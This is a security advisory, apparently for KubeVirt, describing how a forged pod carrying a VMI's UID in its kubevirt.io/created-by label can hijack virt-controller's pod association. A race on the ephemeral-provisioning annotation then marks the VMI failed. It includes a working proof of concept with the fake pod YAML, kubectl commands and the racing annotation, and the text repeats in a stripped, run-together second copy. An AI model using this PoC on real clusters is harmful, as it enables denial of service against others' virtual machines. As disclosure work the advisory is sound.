Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
A logic flaw in the virt-controller allows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimate virt-launcher pod associated with the VMI. This can mislead the virt-controller into associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service).
Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate virt-launcher pod associated with the VMI.
The virt-launcher pod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along with virt-handler, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it).
When virt-controller receives a notification about a change in a VMI's state, it attempts to identify the corresponding virt-launcher pod. This is necessary in several scenarios, including:
- When hardware devices are requested to be hotplugged into the VMI—they must also be hotplugged into the associated
virt-launcher pod.
- When additional RAM is requested—this may require updating the
virt-launcher pod's cgroups.
- When additional CPU resources are added—this may also necessitate modifying the
virt-launcher pod's cgroups.
- When the VMI is scheduled to migrate to another node.
The core issue lies in the implementation of the GetControllerOf function, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimate virt-launcher, thereby compromising the VMI's integrity and control mechanisms.
//pkg/controller/controller.go
func CurrentVMIPod(vmi *v1.VirtualMachineInstance, podIndexer cache.Indexer) (*k8sv1.Pod, error) {
// Get all pods from the VMI namespace which contain the label "kubevirt.io"
objs, err := podIndexer.ByIndex(cache.NamespaceIndex, vmi.Namespace)
if err != nil {
return nil, err
}
pods := []*k8sv1.Pod{}
for _, obj := range objs {
pod := obj.(*k8sv1.Pod)
pods = append(pods, pod)
}
var curPod *k8sv1.Pod = nil
for _, pod := range pods {
if !IsControlledBy(pod, vmi) {
continue
}
if vmi.Status.NodeName != "" &&
vmi.Status.NodeName != pod.Spec.NodeName {
// This pod isn't scheduled to the current node.
// This can occur during the initial migration phases when
// a new target node is being prepared for the VMI.
continue
}
// take the most recently created pod
if curPod == nil || curPod.CreationTimestamp.Before(&pod.CreationTimestamp) {
curPod = pod
}
}
return curPod, nil
}
// pkg/controller/controller_ref.go
// GetControllerOf returns the controllerRef if controllee has a controller,
// otherwise returns nil.
func GetControllerOf(pod *k8sv1.Pod) *metav1.OwnerReference {
controllerRef := metav1.GetControllerOf(pod)
if controllerRef != nil {
return controllerRef
}
// We may find pods that are only using CreatedByLabel and not set with an OwnerReference
if createdBy := pod.Labels[virtv1.CreatedByLabel]; len(createdBy) > 0 {
name := pod.Annotations[virtv1.DomainAnnotation]
uid := types.UID(createdBy)
vmi := virtv1.NewVMI(name, uid)
return metav1.NewControllerRef(vmi, virtv1.VirtualMachineInstanceGroupVersionKind)
}
return nil
}
func IsControlledBy(pod *k8sv1.Pod, vmi *virtv1.VirtualMachineInstance) bool {
if controllerRef := GetControllerOf(pod); controllerRef != nil {
return controllerRef.UID == vmi.UID
}
return false
}
The current logic assumes that a virt-launcher pod associated with a VMI may not always have a controllerRef. In such cases, the controller falls back to inspecting the pod's labels. Specifically it evaluates the kubevirt.io/created-by label, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, the virt-controller selects the most recently created one.
This logic appears to be designed with migration scenarios in mind, where it is expected that two virt-launcher pods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimate virt-launcher pod lacks a controllerRef and relies solely on labels (such as kubevirt.io/created-by) to indicate its association with a VMI.
This fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate virt-launcher pod. As a result, the CurrentVMIPod function could mistakenly return the attacker-controlled pod instead of the authentic one.
This vulnerability has at least two serious consequences:
- The attacker could disrupt or seize control over the VMI's lifecycle operations.
- The attacker could potentially influence the VMI's migration target node, bypassing node-level security constraints such as
nodeSelector or nodeAffinity, which are typically used to enforce workload placement policies.
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider the following VMI definition:
apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
name: launcher-label-confusion
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
# Deploy the launcher-label-confusion VMI
operator@minikube:~$ kubectl apply -f launcher-confusion-labels.yaml
# Get the UID of the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.metadata.uid}'
18afb8bf-70c4-498b-aece-35804c9a0d11
# Find the UID of the associated to the VMI `virt-launcher` pods (ActivePods)
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"}
The UID of the VMI can also be found as an argument to the container in the virt-launcher pod:
# Inspect the `virt-launcher` pod associated with the VMI and the --uid CLI argument with which it was launched
operator@minikube:~$ kubectl get pods virt-launcher-launcher-label-confusion-bdkwj -o jsonpath='{.spec.containers[0]}' | jq .
{
"command": [
"/usr/bin/virt-launcher-monitor",
...
"--uid",
"18afb8bf-70c4-498b-aece-35804c9a0d11",
"--namespace",
"default",
...
Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the kubevirt.io/created-by label:
apiVersion: v1
kind: Pod
metadata:
name: fake-launcher
labels:
kubevirt.io: intruder # this is the label used by the virt-controller to identify pods associated with KubeVirt components
kubevirt.io/created-by: 18afb8bf-70c4-498b-aece-35804c9a0d11 # this is the UID of the launcher-label-confusion VMI which is going to be taken into account if there is no ownerReference. This is the case for regular pods
kubevirt.io/domain: migration
spec:
restartPolicy: Never
containers:
- name: alpine
image: alpine
command: [ "sleep", "3600" ]
operator@minikube:~$ kubectl apply -f fake-launcher.yaml
# Get the UID of the `fake-launcher` pod
operator@minikube:~$ kubectl get pod fake-launcher -o jsonpath='{.metadata.uid}'
39479b87-3119-43b5-92d4-d461b68cfb13
To effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop:
# Trigger the VMI reconciliation loop
operator@minikube:~$ kubectl patch vmi launcher-label-confusion -p '{"metadata":{"annotations":{"trigger-annotation":"quarkslab"}}}' --type=merge
virtualmachineinstance.kubevirt.io/launcher-label-confusion patched
# Confirm that fake-launcher pod has been associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"39479b87-3119-43b5-92d4-d461b68cfb13":"minikube", # `fake-launcher` pod's UID
"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube"} # original `virt-launcher` pod UID
To illustrate the impact of this vulnerability, a race condition will be triggered in the sync function of the VMI controller:
// pkg/virt-controller/watch/vmi.go
func (c *Controller) sync(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume) (common.SyncError, *k8sv1.Pod) {
//...
if !isTempPod(pod) && controller.IsPodReady(pod) {
// mark the pod with annotation to be evicted by this controller
newAnnotations := map[string]string{descheduler.EvictOnlyAnnotation: ""}
maps.Copy(newAnnotations, c.netAnnotationsGenerator.GenerateFromActivePod(vmi, pod))
// here a new updated pod is returned
patchedPod, err := c.syncPodAnnotations(pod, newAnnotations)
if err != nil {
return common.NewSyncError(err, controller.FailedPodPatchReason), pod
}
pod = patchedPod
// ...
func (c *Controller) syncPodAnnotations(pod *k8sv1.Pod, newAnnotations map[string]string) (*k8sv1.Pod, error) {
patchSet := patch.New()
for key, newValue := range newAnnotations {
if podAnnotationValue, keyExist := pod.Annotations[key]; !keyExist || podAnnotationValue != newValue {
patchSet.AddOption(
patch.WithAdd(fmt.Sprintf("/metadata/annotations/%s", patch.EscapeJSONPointer(key)), newValue),
)
}
}
if patchSet.IsEmpty() {
return pod, nil
}
patchBytes, err := patchSet.GeneratePayload()
// ...
patchedPod, err := c.clientset.CoreV1().Pods(pod.Namespace).Patch(context.Background(), pod.Name, types.JSONPatchType, patchBytes, v1.PatchOptions{})
// ...
return patchedPod, nil
}
The above code adds additional annotations to the virt-launcher pod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow.
There is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed:
// pkg/virt-controller/watch/vmi.go
func isTempPod(pod *k8sv1.Pod) bool {
// EphemeralProvisioningObject string = "kubevirt.io/ephemeral-provisioning"
_, ok := pod.Annotations[virtv1.EphemeralProvisioningObject]
return ok
}
// pkg/virt-controller/watch/vmi.go
func (c *Controller) updateStatus(vmi *virtv1.VirtualMachineInstance, pod *k8sv1.Pod, dataVolumes []*cdiv1.DataVolume, syncErr common.SyncError) error {
// ...
vmiPodExists := controller.PodExists(pod) && !isTempPod(pod)
tempPodExists := controller.PodExists(pod) && isTempPod(pod)
//...
case vmi.IsRunning():
if !vmiPodExists {
// MK: this will toggle the VMI phase to Failed
vmiCopy.Status.Phase = virtv1.Failed
break
}
//...
vmiChanged := !equality.Semantic.DeepEqual(vmi.Status, vmiCopy.Status) || !equality.Semantic.DeepEqual(vmi.Finalizers, vmiCopy.Finalizers) || !equality.Semantic.DeepEqual(vmi.Annotations, vmiCopy.Annotations) || !equality.Semantic.DeepEqual(vmi.Labels, vmiCopy.Labels)
if vmiChanged {
// MK: this will detect that the phase of the VMI has changed and updated the resource
key := controller.VirtualMachineInstanceKey(vmi)
c.vmiExpectations.SetExpectations(key, 1, 0)
_, err := c.clientset.VirtualMachineInstance(vmi.Namespace).Update(context.Background(), vmiCopy, v1.UpdateOptions{})
if err != nil {
c.vmiExpectations.LowerExpectations(key, 1, 0)
return err
}
}
To trigger it, the attacker should update the fake-launcher pod's annotations before the check vmiPodExists := controller.PodExists(pod) && !isTempPod(pod) in sync, and between the check if !isTempPod(pod) && controller.IsPodReady(pod) in sync but before the patch API call in syncPodAnnotations as follows:
annotations:
kubevirt.io/ephemeral-provisioning: "true"
The above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running).
The update should also happen during the reconciliation loop when the fake-launcher pod is initially going to be associated with the VMI and its labels, related to eviction, updated.
Upon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster:
operator@minikube:~$ kubectl get vmi
NAME AGE PHASE IP NODENAME READY
launcher-label-confusion 128m Failed 10.244.0.10 minikube False
# The VMI is not reachable anymore
operator@minikube:~$ virtctl console launcher-label-confusion
Operation cannot be fulfilled on virtualmachineinstance.kubevirt.io "launcher-label-confusion": VMI is in failed status
# The two pods are still associated with the VMI
operator@minikube:~$ kubectl get vmi launcher-label-confusion -o jsonpath='{.status.activePods}'
{"674bc0b1-e3c7-4c05-b300-9e5744a5f2c8":"minikube","ca31c8de-4d14-4e47-b942-75be20fb9d96":"minikube"}
Impact
As a result, an attacker could provoke a DoS condition for the affected VMI, compromising the availability of the services it provides.
References
Summary
_Short summary of the problem. Make the impact and severity as clear as possible.
A logic flaw in the
virt-controllerallows an attacker to disrupt the control over a running VMI by creating a pod with the same labels as the legitimatevirt-launcherpod associated with the VMI. This can mislead thevirt-controllerinto associating the fake pod with the VMI, resulting in incorrect status updates and potentially causing a DoS (Denial-of-Service).Details
Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.
A vulnerability has been identified in the logic responsible for reconciling the state of VMI. Specifically, it is possible to associate a malicious attacker-controlled pod with an existing VMI running within the same namespace as the pod, thereby replacing the legitimate
virt-launcherpod associated with the VMI.The
virt-launcherpod is critical for enforcing the isolation mechanisms applied to the QEMU process that runs the virtual machine. It also serves, along withvirt-handler, as a management interface that allows cluster users, operators, or administrators to control the lifecycle of the VMI (e.g., starting, stopping, or migrating it).When
virt-controllerreceives a notification about a change in a VMI's state, it attempts to identify the correspondingvirt-launcherpod. This is necessary in several scenarios, including:virt-launcherpod.virt-launcherpod's cgroups.virt-launcherpod's cgroups.The core issue lies in the implementation of the
GetControllerOffunction, which is responsible for determining the controller (i.e., owning resource) of a given pod. In its current form, this logic can be manipulated, allowing an attacker to substitute a rogue pod in place of the legitimatevirt-launcher, thereby compromising the VMI's integrity and control mechanisms.The current logic assumes that a
virt-launcherpod associated with a VMI may not always have acontrollerRef. In such cases, the controller falls back to inspecting the pod's labels. Specifically it evaluates thekubevirt.io/created-bylabel, which is expected to match the UID of the VMI triggering the reconciliation loop. If multiple pods are found that could be associated with the same VMI, thevirt-controllerselects the most recently created one.This logic appears to be designed with migration scenarios in mind, where it is expected that two
virt-launcherpods might temporarily coexist for the same VMI: one for the migration source and one for the migration target node. However, a scenario was not identified in which a legitimatevirt-launcherpod lacks acontrollerRefand relies solely on labels (such askubevirt.io/created-by) to indicate its association with a VMI.This fallback behaviour introduces a security risk. If an attacker is able to obtain the UID of a running VMI and create a pod within the same namespace, they can assign it labels that mimic those of a legitimate
virt-launcherpod. As a result, theCurrentVMIPodfunction could mistakenly return the attacker-controlled pod instead of the authentic one.This vulnerability has at least two serious consequences:
nodeSelectorornodeAffinity, which are typically used to enforce workload placement policies.PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
Consider the following VMI definition:
The UID of the VMI can also be found as an argument to the container in the
virt-launcherpod:Consider the following attacker-controlled pod which is associated to the VMI using the UID defined in the
kubevirt.io/created-bylabel:To effectively attach the fake pod to the VMI, the attacker should wait for a state update to trigger the reconciliation loop:
To illustrate the impact of this vulnerability, a race condition will be triggered in the
syncfunction of the VMI controller:The above code adds additional annotations to the
virt-launcherpod related to node eviction. This happens via an API call to Kubernetes which upon success returns a new updated pod object. This object replaces the current one in the execution flow.There is a tiny window where an attacker could trigger a race condition which will mark the VMI as failed:
To trigger it, the attacker should update the
fake-launcherpod's annotations before the checkvmiPodExists := controller.PodExists(pod) && !isTempPod(pod)insync, and between the checkif !isTempPod(pod) && controller.IsPodReady(pod)insyncbut before the patch API call insyncPodAnnotationsas follows:The above annotation will mark the attacker pod as ephemeral (i.e., used to provision the VMI) and will fail the VMI as the latter is already running (provisioning happens before the VMI starts running).
The update should also happen during the reconciliation loop when the
fake-launcherpod is initially going to be associated with the VMI and its labels, related to eviction, updated.Upon successful exploitation the VMI is marked as failed and could not be controlled via the Kubernetes API. However, the QEMU process is still running and the VMI is still present in the cluster:
Impact
As a result, an attacker could provoke a DoS condition for the affected VMI, compromising the availability of the services it provides.
References